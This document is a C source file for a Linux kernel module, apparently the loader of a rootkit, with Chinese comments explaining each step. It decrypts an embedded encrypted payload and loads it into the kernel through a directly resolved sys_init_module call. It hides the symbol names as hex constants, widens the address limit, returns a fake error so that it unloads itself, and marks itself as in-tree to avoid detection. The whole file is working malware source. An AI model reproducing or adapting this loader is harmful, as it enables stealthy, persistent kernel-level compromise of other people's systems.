#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/uaccess.h>

#ifndef user_addr_max
#define user_addr_max() (current_thread_info()->addr_limit.seg)
#endif

#include "encrypt.h"

// 定义 SYS_INIT_MODULE 宏，用于生成 "sys_init_module" 字符串
#define SYS_INIT_MODULE                                 \
    ({                                              \
        unsigned int *p = __builtin_alloca(16); \
        p[0] = 0x5f737973;                      \
        p[1] = 0x74696e69;                      \
        p[2] = 0x646f6d5f;                      \
        p[3] = 0x00656c75;                      \
        (char *)p;                              \
    })

// 定义 __DO_SYS_INIT_MODULE 宏，用于生成 "__do_sys_init_module" 字符串
#define __DO_SYS_INIT_MODULE                            \
    ({                                              \
        unsigned int *p = __builtin_alloca(24); \
        p[0] = 0x6f645f5f;                      \
        p[1] = 0x7379735f;                      \
        p[2] = 0x696e695f;                      \
        p[3] = 0x6f6d5f74;                      \
        p[4] = 0x656c7564;                      \
        p[5] = 0x00000000;                      \
        (char *)p;                              \
    })

// 包含 parasite_blob.inc 文件中的数据
static char parasite_blob[] = {
#include "parasite_blob.inc"
};

// 内核符号表查找函数的回调函数
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
              unsigned long addr)
{
    int i = 0;
    while (!module && (((const char *)data[0]))[i] == name[i]) {
        if (!name[i++])
            return !!(data[1] = addr); // 找到匹配的符号，设置地址并返回1
    }
    return 0; // 未找到匹配的符号，返回0
}

// 查找符号表中的符号地址
static inline unsigned long ksym_lookup_name(const char *name)
{
    unsigned long data[2] = {(unsigned long)name, 0};
    kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 实现在khook/engine.c中
    return data[1]; // 返回找到的符号地址
}

/*
 * init_module函数的系统调用处理函数sys_init_module
 * 它是一个导出函数，通过ksym_lookup_name得到该函数的地址
 */
int init_module(void)
{
    int ret = -EINVAL;
    asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL;

    // 解密 parasite_blob 数据
    do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY);

    // 查找 sys_init_module 函数的地址
    sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE);

    if (!sys_init_module)
        sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE);

    if (sys_init_module) {
        const char *nullarg = parasite_blob;
        unsigned long seg = user_addr_max();

        // 找到 parasite_blob 中的空字符
        while (*nullarg)
            nullarg++;

        // 设置用户地址空间的最大值
        user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
        if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha
        user_addr_max() = seg; // 恢复用户地址空间的最大值
    }

    return ret;
}

/*
 * 表示该模块是内核树的一部分，即它是内核的内置模块，而不是一个外部模块。当内核配置为包含该模块时，它将被编译并包含在内核二进制文件中
 */
MODULE_LICENSE("GPL");
MODULE_INFO(intree, "Y");